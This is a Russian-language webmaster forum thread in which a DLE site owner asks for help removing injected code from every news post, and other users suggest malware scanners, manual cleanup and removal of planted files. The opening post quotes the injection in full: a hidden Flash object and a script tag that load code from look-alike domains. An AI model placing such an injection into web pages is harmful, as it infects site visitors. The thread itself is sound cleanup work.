[marshel]

Знаю и так тему куча, посмотрел темы, попробовал найти решение, но нет,

В чём собственно проблема, в каждой полной и короткой новости, при редактировании есть код

Код HTML:

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="1" height="1"><param name="movie" value="http://webmasters-yandex.ru/flash.swf?190569321"><param name="quality" value="high"/><param name="scale" value="exactfit"><param name="bgcolor" value="#FFFFFF"/><param name="AllowScriptAccess" value="always"/><embed src="http://webmasters-yandex.ru/flash.swf?1023467611" width="1" height="1" type="application/x-shockwave-flash" AllowScriptAccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed></object><script async="async" type="text/javascript" src="http://google-webmaster.ru/624567140fecc40163fed3c45a959a7c.js"></script>

Из-за этого яндекс определил его как опасным для пользователе, помогите решить проблему.Если присмотреться к коду, стоит домен google-webmaster.ru, есть ссылки на яндекс вебмастер,я понимаю, что домена левые, но к чему же это?

[SPQR]

marshel, а что, собственно, у тебя не получается?
Удали этот JS из *.tlp

[marshel]

SPQR,
Левых js файлов в папке шаблона вообще нет, ни в одном из существующих в шаблоне js файлов, нет лишних кодов.

[SPQR]

marshel, проверься пока http://www.revisium.com/ai/ - должно понаходить.

[bekett]

сайт можно в личку

[marshel]

bekett,
Отправил

[OKyJIucT]

Тоже недавно такое обнаружил на одном из сайтов, почистил вручную через модуль "Поиск и замена" в DLE, а также сделал вот это
Кроме того, перепроверил права юзеров на сайте, удалил явных ботов, хотя я думаю, они тут ни при чем, и изменение новостей проводилось через какой то левый скрипт, налитый на сайт. Несколько левых файлов нашел - это в корне валялся backup.php, и в папке engine/cashe/system нашел две левых папки с закодированными файлами.
Ну и плюс удалил весь кеш в папке engine/cache, поскольку там были закешированные новости с вирусом

[bekett]

вируса вроде нет, может малвари
_http://online1.drweb.com/cache/?i=378fa1097d0e5a4149883ebe9629d43f
Левых js файлов в папке шаблона вообще нет, ни в одном из существующих в шаблоне js файлов
потому что все левые на _http://google-webmaster.ru, _http://webmasters-yandex.ru/flash.swf?190569321
скачай сайт на локаль и поищи левые ссылки тотал коммандером в файлах и удали

очень может в ссылке с флешем быть

[chelovek]

Сделайте перестроение публикаций в админке.

[marshel]

Так как после удаления заразы с всех новостей, переустановки двига, шаблона, всех модулей, заразе все равно появляется на сайте, что делать?